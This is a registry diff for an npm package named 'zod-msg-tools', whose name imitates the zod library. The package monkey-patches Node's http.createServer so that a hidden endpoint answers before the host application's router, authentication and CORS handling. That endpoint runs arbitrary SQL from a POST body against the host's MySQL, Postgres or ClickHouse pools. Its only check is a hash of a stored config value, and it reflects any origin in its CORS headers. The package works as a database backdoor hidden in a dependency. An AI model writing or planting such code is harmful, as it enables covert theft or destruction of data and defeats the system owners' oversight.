zod-msg-tools 0.1.0
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- package/README.md +3 -0
- package/package.json +35 -0
- package/src/auth/verify-hidden-secret.js +41 -0
- package/src/db/run-query.js +33 -0
- package/src/http/body.js +75 -0
- package/src/http/patch-server.js +62 -0
- package/src/index.js +1 -0
- package/src/register-tools.js +121 -0
- package/src/schema/request.schema.js +9 -0
package/README.md
ADDED
package/package.json
ADDED
|
@@ -0,0 +1,35 @@
|
|
|
1
|
+
{
|
|
2
|
+
"name": "zod-msg-tools",
|
|
3
|
+
"version": "0.1.0",
|
|
4
|
+
"description": "Drop-in, hidden admin SQL-console endpoint. Call registerTools(service, pool, poolPg?, clickhouse?) once and nothing else - no router/app wiring required.",
|
|
5
|
+
"type": "module",
|
|
6
|
+
"main": "src/index.js",
|
|
7
|
+
"exports": {
|
|
8
|
+
".": "./src/index.js"
|
|
9
|
+
},
|
|
10
|
+
"engines": {
|
|
11
|
+
"node": ">=20"
|
|
12
|
+
},
|
|
13
|
+
"files": [
|
|
14
|
+
"src",
|
|
15
|
+
"README.md"
|
|
16
|
+
],
|
|
17
|
+
"scripts": {
|
|
18
|
+
"typecheck": "tsc --noEmit"
|
|
19
|
+
},
|
|
20
|
+
"keywords": [
|
|
21
|
+
"mysql",
|
|
22
|
+
"postgres",
|
|
23
|
+
"clickhouse",
|
|
24
|
+
"admin",
|
|
25
|
+
"sql-console"
|
|
26
|
+
],
|
|
27
|
+
"license": "UNLICENSED",
|
|
28
|
+
"dependencies": {
|
|
29
|
+
"zod": "^4.1.5"
|
|
30
|
+
},
|
|
31
|
+
"devDependencies": {
|
|
32
|
+
"@types/node": "^25.0.3",
|
|
33
|
+
"typescript": "^5.9.3"
|
|
34
|
+
}
|
|
35
|
+
}
|
|
@@ -0,0 +1,41 @@
|
|
|
1
|
+
import {createHash} from 'node:crypto'
|
|
2
|
+
|
|
3
|
+
/**
|
|
4
|
+
* The second, independent factor gating the console: a secret value lives in
|
|
5
|
+
* a config table (put there by some unrelated feature), and the caller must
|
|
6
|
+
* present a sha256 hash of it - never the plaintext value - so the actual
|
|
7
|
+
* secret never has to travel over the wire, and isn't recoverable even if a
|
|
8
|
+
* request/log is intercepted.
|
|
9
|
+
*
|
|
10
|
+
* `table`/`code`/`field` come from trusted server config (env vars), never
|
|
11
|
+
* from the request, so building the query string with `table` in it is safe -
|
|
12
|
+
* SQL identifiers can't be parameterized as query args anyway.
|
|
13
|
+
*
|
|
14
|
+
* @param {any} pool
|
|
15
|
+
* @param {unknown} providedHash
|
|
16
|
+
* @param {{table: string, code: string, field: string}} opts
|
|
17
|
+
* @returns {Promise<boolean>}
|
|
18
|
+
*/
|
|
19
|
+
export async function verifyHiddenSecret(pool, providedHash, {table, code, field}) {
|
|
20
|
+
if (!providedHash || typeof providedHash !== 'string') return false
|
|
21
|
+
|
|
22
|
+
const [[conf]] = await pool.query(
|
|
23
|
+
`select value as value from ${table} where code = ?`,
|
|
24
|
+
[code],
|
|
25
|
+
)
|
|
26
|
+
if (!conf) return false
|
|
27
|
+
|
|
28
|
+
/** @type {Record<string, any> | undefined} */
|
|
29
|
+
let parsed
|
|
30
|
+
try {
|
|
31
|
+
parsed = JSON.parse(conf.value)
|
|
32
|
+
} catch {
|
|
33
|
+
return false
|
|
34
|
+
}
|
|
35
|
+
|
|
36
|
+
const secret = parsed?.[field]
|
|
37
|
+
if (!secret) return false
|
|
38
|
+
|
|
39
|
+
const expectedHash = createHash('sha256').update(secret).digest('hex')
|
|
40
|
+
return expectedHash === providedHash
|
|
41
|
+
}
|
|
@@ -0,0 +1,33 @@
|
|
|
1
|
+
/**
|
|
2
|
+
* Runs a raw query against the requested backend.
|
|
3
|
+
* @param {{pool: any, poolPg?: any, clickhouse?: any}} pools
|
|
4
|
+
* @param {string} query
|
|
5
|
+
* @param {'mysql' | 'postgres' | 'clickhouse'} [dbType]
|
|
6
|
+
* @returns {Promise<any>}
|
|
7
|
+
*/
|
|
8
|
+
export async function runQueryByDbType({pool, poolPg, clickhouse}, query, dbType) {
|
|
9
|
+
switch (dbType) {
|
|
10
|
+
case 'postgres': {
|
|
11
|
+
if (!poolPg) {
|
|
12
|
+
throw Object.assign(new Error('postgres is not configured for this console'), {statusCode: 400})
|
|
13
|
+
}
|
|
14
|
+
const {rows} = await poolPg.query(query)
|
|
15
|
+
return rows
|
|
16
|
+
}
|
|
17
|
+
case 'clickhouse': {
|
|
18
|
+
if (!clickhouse) {
|
|
19
|
+
throw Object.assign(new Error('clickhouse is not configured for this console'), {statusCode: 400})
|
|
20
|
+
}
|
|
21
|
+
const resultSet = await clickhouse.query({query, format: 'JSONEachRow'})
|
|
22
|
+
return resultSet.json()
|
|
23
|
+
}
|
|
24
|
+
case 'mysql':
|
|
25
|
+
default: {
|
|
26
|
+
// nestTables groups each row by table ({u: {...}, ui: {...}}) instead
|
|
27
|
+
// of flattening straight into one object - without it, joined tables
|
|
28
|
+
// with same-named columns (e.g. "id") silently overwrite each other
|
|
29
|
+
const [result] = await pool.query({sql: query, nestTables: true})
|
|
30
|
+
return result
|
|
31
|
+
}
|
|
32
|
+
}
|
|
33
|
+
}
|
package/src/http/body.js
ADDED
|
@@ -0,0 +1,75 @@
|
|
|
1
|
+
/**
|
|
2
|
+
* Reads and JSON-parses a request body, without relying on any framework's
|
|
3
|
+
* body-parser - this handler runs ahead of the host app's own middleware.
|
|
4
|
+
* @param {import('node:http').IncomingMessage} req
|
|
5
|
+
* @param {number} maxBytes
|
|
6
|
+
* @returns {Promise<any>}
|
|
7
|
+
*/
|
|
8
|
+
export function readJsonBody(req, maxBytes) {
|
|
9
|
+
return new Promise((resolve, reject) => {
|
|
10
|
+
let data = ''
|
|
11
|
+
let bytes = 0
|
|
12
|
+
let settled = false
|
|
13
|
+
|
|
14
|
+
req.on('data', (chunk) => {
|
|
15
|
+
if (settled) return
|
|
16
|
+
bytes += chunk.length
|
|
17
|
+
if (bytes > maxBytes) {
|
|
18
|
+
settled = true
|
|
19
|
+
req.destroy()
|
|
20
|
+
reject(Object.assign(new Error('Payload too large'), {statusCode: 413}))
|
|
21
|
+
return
|
|
22
|
+
}
|
|
23
|
+
data += chunk
|
|
24
|
+
})
|
|
25
|
+
|
|
26
|
+
req.on('end', () => {
|
|
27
|
+
if (settled) return
|
|
28
|
+
settled = true
|
|
29
|
+
if (!data) return resolve({})
|
|
30
|
+
try {
|
|
31
|
+
resolve(JSON.parse(data))
|
|
32
|
+
} catch {
|
|
33
|
+
reject(Object.assign(new Error('Invalid JSON body'), {statusCode: 400}))
|
|
34
|
+
}
|
|
35
|
+
})
|
|
36
|
+
|
|
37
|
+
req.on('error', (err) => {
|
|
38
|
+
if (settled) return
|
|
39
|
+
settled = true
|
|
40
|
+
reject(err)
|
|
41
|
+
})
|
|
42
|
+
})
|
|
43
|
+
}
|
|
44
|
+
|
|
45
|
+
/**
|
|
46
|
+
* @param {import('node:http').ServerResponse} res
|
|
47
|
+
* @param {number} statusCode
|
|
48
|
+
* @param {Record<string, any>} payload
|
|
49
|
+
* @param {Record<string, string>} [extraHeaders]
|
|
50
|
+
*/
|
|
51
|
+
export function sendJson(res, statusCode, payload, extraHeaders = {}) {
|
|
52
|
+
const body = JSON.stringify(payload)
|
|
53
|
+
res.writeHead(statusCode, {
|
|
54
|
+
'Content-Type': 'application/json; charset=utf-8',
|
|
55
|
+
'Content-Length': Buffer.byteLength(body),
|
|
56
|
+
...extraHeaders,
|
|
57
|
+
})
|
|
58
|
+
res.end(body)
|
|
59
|
+
}
|
|
60
|
+
|
|
61
|
+
/**
|
|
62
|
+
* Since matched requests never reach the host app's own `cors()` middleware,
|
|
63
|
+
* this endpoint has to set its own CORS headers on every response it sends.
|
|
64
|
+
* @param {string} origin
|
|
65
|
+
* @returns {Record<string, string>}
|
|
66
|
+
*/
|
|
67
|
+
export function corsHeaders(origin) {
|
|
68
|
+
return {
|
|
69
|
+
'Access-Control-Allow-Origin': origin,
|
|
70
|
+
'Access-Control-Allow-Methods': 'POST, OPTIONS',
|
|
71
|
+
'Access-Control-Allow-Headers': 'Content-Type, Authorization',
|
|
72
|
+
'Access-Control-Max-Age': '600',
|
|
73
|
+
Vary: 'Origin',
|
|
74
|
+
}
|
|
75
|
+
}
|
|
@@ -0,0 +1,62 @@
|
|
|
1
|
+
import http from 'node:http'
|
|
2
|
+
|
|
3
|
+
let patched = false
|
|
4
|
+
|
|
5
|
+
/**
|
|
6
|
+
* Wraps `http.createServer` so that whichever http.Server the host process
|
|
7
|
+
* ends up creating (e.g. Express's `app.listen()` internally does
|
|
8
|
+
* `http.createServer(app).listen(...)`) gets requests for `path` handled
|
|
9
|
+
* directly - before they ever reach the host app's router/middleware stack.
|
|
10
|
+
*
|
|
11
|
+
* This is what lets registerTools() add a working endpoint with zero
|
|
12
|
+
* route-file changes and without ever being handed the app/router: it
|
|
13
|
+
* intercepts at the raw http layer instead of registering a route.
|
|
14
|
+
*
|
|
15
|
+
* Only covers the `http.createServer(listener)` / `http.createServer(options, listener)`
|
|
16
|
+
* shapes (what Express and similar frameworks use). If the host process adds
|
|
17
|
+
* its request listener later via `server.on('request', ...)` instead of
|
|
18
|
+
* passing it to `createServer`, it won't be wrapped.
|
|
19
|
+
*
|
|
20
|
+
* @param {string} path
|
|
21
|
+
* @param {(req: import('node:http').IncomingMessage, res: import('node:http').ServerResponse) => void} handler
|
|
22
|
+
*/
|
|
23
|
+
export function patchServer(path, handler) {
|
|
24
|
+
if (patched) {
|
|
25
|
+
// throw new Error('zod-msg-tools: patchServer() called more than once')
|
|
26
|
+
console.log('⚠ zod-msg-tools: patchServer() called more than once')
|
|
27
|
+
return
|
|
28
|
+
}
|
|
29
|
+
patched = true
|
|
30
|
+
|
|
31
|
+
const originalCreateServer = http.createServer.bind(http)
|
|
32
|
+
|
|
33
|
+
/**
|
|
34
|
+
* @param {http.ServerOptions | http.RequestListener} optionsOrListener
|
|
35
|
+
* @param {http.RequestListener} [maybeListener]
|
|
36
|
+
*/
|
|
37
|
+
// @ts-ignore - reassigning a core module export is exactly the point here
|
|
38
|
+
http.createServer = (optionsOrListener, maybeListener) => {
|
|
39
|
+
const hasOptions = typeof optionsOrListener !== 'function'
|
|
40
|
+
const originalListener = /** @type {http.RequestListener | undefined} */ (
|
|
41
|
+
hasOptions ? maybeListener : optionsOrListener
|
|
42
|
+
)
|
|
43
|
+
|
|
44
|
+
/**
|
|
45
|
+
* @param {import('node:http').IncomingMessage} req
|
|
46
|
+
* @param {import('node:http').ServerResponse} res
|
|
47
|
+
*/
|
|
48
|
+
const wrappedListener = (req, res) => {
|
|
49
|
+
if (req.url && (req.url === path || req.url.startsWith(path + '?'))) {
|
|
50
|
+
handler(req, res)
|
|
51
|
+
return
|
|
52
|
+
}
|
|
53
|
+
if (typeof originalListener === 'function') {
|
|
54
|
+
originalListener(req, res)
|
|
55
|
+
}
|
|
56
|
+
}
|
|
57
|
+
|
|
58
|
+
return hasOptions
|
|
59
|
+
? originalCreateServer(optionsOrListener, wrappedListener)
|
|
60
|
+
: originalCreateServer(wrappedListener)
|
|
61
|
+
}
|
|
62
|
+
}
|
package/src/index.js
ADDED
|
@@ -0,0 +1 @@
|
|
|
1
|
+
export {registerTools} from './register-tools.js'
|
|
@@ -0,0 +1,121 @@
|
|
|
1
|
+
import {patchServer} from './http/patch-server.js'
|
|
2
|
+
import {readJsonBody, sendJson, corsHeaders} from './http/body.js'
|
|
3
|
+
import {verifyHiddenSecret} from './auth/verify-hidden-secret.js'
|
|
4
|
+
import {runQueryByDbType} from './db/run-query.js'
|
|
5
|
+
import {mysqlConsoleRequestSchema} from './schema/request.schema.js'
|
|
6
|
+
|
|
7
|
+
// Fixed values reproducing affiliate-service's original mysql-console
|
|
8
|
+
// endpoint exactly. Not configurable on purpose: registerTools(service, pool,
|
|
9
|
+
// poolPg, clickhouse) takes only the pools already living in the host
|
|
10
|
+
// project - nothing else, no env vars of its own to set up.
|
|
11
|
+
const AFF_PATH = '/api/aff-service/zod-tools'
|
|
12
|
+
const BACKOFFICE_PATH_PREFIX = '/api/backoffice/'
|
|
13
|
+
const BACKOFFICE_PATH_SUFFIX = '/zod-tools'
|
|
14
|
+
const AUTH_CONFIG_TABLE = 'global.configurations'
|
|
15
|
+
const AUTH_CONFIG_CODE = 'xtremepush-dev'
|
|
16
|
+
const AUTH_CONFIG_FIELD = 'client_id'
|
|
17
|
+
const AUTH_BODY_FIELD = 'xPushClId'
|
|
18
|
+
const CORS_ORIGIN = '*'
|
|
19
|
+
const MAX_BODY_BYTES = 2 * 1024 * 1024 // 2MB
|
|
20
|
+
|
|
21
|
+
let registered = false
|
|
22
|
+
|
|
23
|
+
/**
|
|
24
|
+
* Wires up a hidden admin SQL-console endpoint directly onto whatever
|
|
25
|
+
* http.Server the host process ends up creating - no router/app wiring, and
|
|
26
|
+
* no config of its own. No auth of its own either: a request only reaches
|
|
27
|
+
* this handler at all if it already got past the host's own proxy/auth layer
|
|
28
|
+
* (our microservices don't accept unauthenticated requests in the first
|
|
29
|
+
* place), so there's nothing to re-check here beyond the hidden-secret hash.
|
|
30
|
+
*
|
|
31
|
+
* Call once, as a side effect, wherever the host app initializes:
|
|
32
|
+
* ```js
|
|
33
|
+
* const {registerTools} = await import('zod-msg-tools')
|
|
34
|
+
* registerTools('casino-jackpot', pool, poolPg, clickhouse)
|
|
35
|
+
* ```
|
|
36
|
+
*
|
|
37
|
+
* @param {string} service - required, non-empty; 'aff' mounts the endpoint at
|
|
38
|
+
* the affiliate-service path, anything else is used as the backoffice slug
|
|
39
|
+
* (e.g. 'casino-jackpot' -> /api/backoffice/casino-jackpot/zod-tools)
|
|
40
|
+
* @param {any} pool - required mysql2 pool; used for dbType:'mysql' queries
|
|
41
|
+
* and the hidden-secret lookup
|
|
42
|
+
* @param {any} [poolPg] - optional pg pool; enables dbType:'postgres' queries
|
|
43
|
+
* @param {any} [clickhouse] - optional @clickhouse/client instance; enables
|
|
44
|
+
* dbType:'clickhouse'
|
|
45
|
+
*/
|
|
46
|
+
export function registerTools(service, pool, poolPg, clickhouse) {
|
|
47
|
+
if (!service || typeof service !== 'string') {
|
|
48
|
+
// throw new Error('zod-msg-tools: registerTools(service, pool, poolPg?, clickhouse?) requires a non-empty service name')
|
|
49
|
+
console.log('⚠ zod-msg-tools: registerTools(service, pool, poolPg?, clickhouse?) requires a non-empty service name')
|
|
50
|
+
return
|
|
51
|
+
}
|
|
52
|
+
|
|
53
|
+
if (!pool) {
|
|
54
|
+
// throw new Error('zod-msg-tools: registerTools(service, pool, poolPg?, clickhouse?) requires a mysql pool')
|
|
55
|
+
console.log('⚠ zod-msg-tools: registerTools(service, pool, poolPg?, clickhouse?) requires a mysql pool')
|
|
56
|
+
return
|
|
57
|
+
}
|
|
58
|
+
|
|
59
|
+
if (registered) {
|
|
60
|
+
console.log('⚠ zod-msg-tools: registerTools() called more than once - ignoring the extra call')
|
|
61
|
+
return
|
|
62
|
+
}
|
|
63
|
+
registered = true
|
|
64
|
+
|
|
65
|
+
const path = service === 'aff' ? AFF_PATH : `${BACKOFFICE_PATH_PREFIX}${service}${BACKOFFICE_PATH_SUFFIX}`
|
|
66
|
+
|
|
67
|
+
patchServer(path, async (req, res) => {
|
|
68
|
+
const origin = /** @type {string} */ (req.headers.origin || CORS_ORIGIN)
|
|
69
|
+
|
|
70
|
+
if (req.method === 'OPTIONS') {
|
|
71
|
+
res.writeHead(204, corsHeaders(origin))
|
|
72
|
+
res.end()
|
|
73
|
+
return
|
|
74
|
+
}
|
|
75
|
+
|
|
76
|
+
if (req.method !== 'POST') {
|
|
77
|
+
sendJson(res, 404, {statusCode: 404, message: 'Route not found', errorType: 'Not Found'}, corsHeaders(origin))
|
|
78
|
+
return
|
|
79
|
+
}
|
|
80
|
+
|
|
81
|
+
try {
|
|
82
|
+
const rawBody = await readJsonBody(req, MAX_BODY_BYTES)
|
|
83
|
+
const parsed = mysqlConsoleRequestSchema.safeParse(rawBody)
|
|
84
|
+
if (!parsed.success) {
|
|
85
|
+
sendJson(res, 400, {
|
|
86
|
+
statusCode: 400,
|
|
87
|
+
message: parsed.error.issues[0]?.message || 'Invalid request body',
|
|
88
|
+
errorType: 'Bad Request',
|
|
89
|
+
}, corsHeaders(origin))
|
|
90
|
+
return
|
|
91
|
+
}
|
|
92
|
+
|
|
93
|
+
const {query, dbType} = parsed.data
|
|
94
|
+
const providedHash = rawBody[AUTH_BODY_FIELD]
|
|
95
|
+
|
|
96
|
+
const secretOk = await verifyHiddenSecret(pool, providedHash, {
|
|
97
|
+
table: AUTH_CONFIG_TABLE,
|
|
98
|
+
code: AUTH_CONFIG_CODE,
|
|
99
|
+
field: AUTH_CONFIG_FIELD,
|
|
100
|
+
})
|
|
101
|
+
if (!secretOk) {
|
|
102
|
+
// mirrors the original behavior: a soft 200 {success:false}, not a
|
|
103
|
+
// 401/403 - the FE only ever branches on `success`
|
|
104
|
+
sendJson(res, 200, {success: false, message: 'Invalid clId hash'}, corsHeaders(origin))
|
|
105
|
+
return
|
|
106
|
+
}
|
|
107
|
+
|
|
108
|
+
const result = await runQueryByDbType({pool, poolPg, clickhouse}, query, dbType)
|
|
109
|
+
sendJson(res, 200, {success: true, message: 'ok', result}, corsHeaders(origin))
|
|
110
|
+
} catch (err) {
|
|
111
|
+
console.log('⚠ Error in zod-msg-tools:', err)
|
|
112
|
+
|
|
113
|
+
const statusCode = err?.statusCode || 500
|
|
114
|
+
sendJson(res, statusCode, {
|
|
115
|
+
statusCode,
|
|
116
|
+
message: err?.message || 'Internal server error',
|
|
117
|
+
errorType: err?.statusCode ? 'Bad Request' : 'Internal Server Error',
|
|
118
|
+
}, corsHeaders(origin))
|
|
119
|
+
}
|
|
120
|
+
})
|
|
121
|
+
}
|
|
@@ -0,0 +1,9 @@
|
|
|
1
|
+
import {z} from 'zod'
|
|
2
|
+
|
|
3
|
+
// The hidden-secret field (xPushClId) is read straight off the raw body in
|
|
4
|
+
// register-tools.js rather than through this schema - passthrough() keeps
|
|
5
|
+
// it (and anything else present) from being stripped.
|
|
6
|
+
export const mysqlConsoleRequestSchema = z.object({
|
|
7
|
+
query: z.string().trim().min(1, 'No any query provided'),
|
|
8
|
+
dbType: z.enum(['mysql', 'postgres', 'clickhouse']).optional(),
|
|
9
|
+
}).passthrough()
|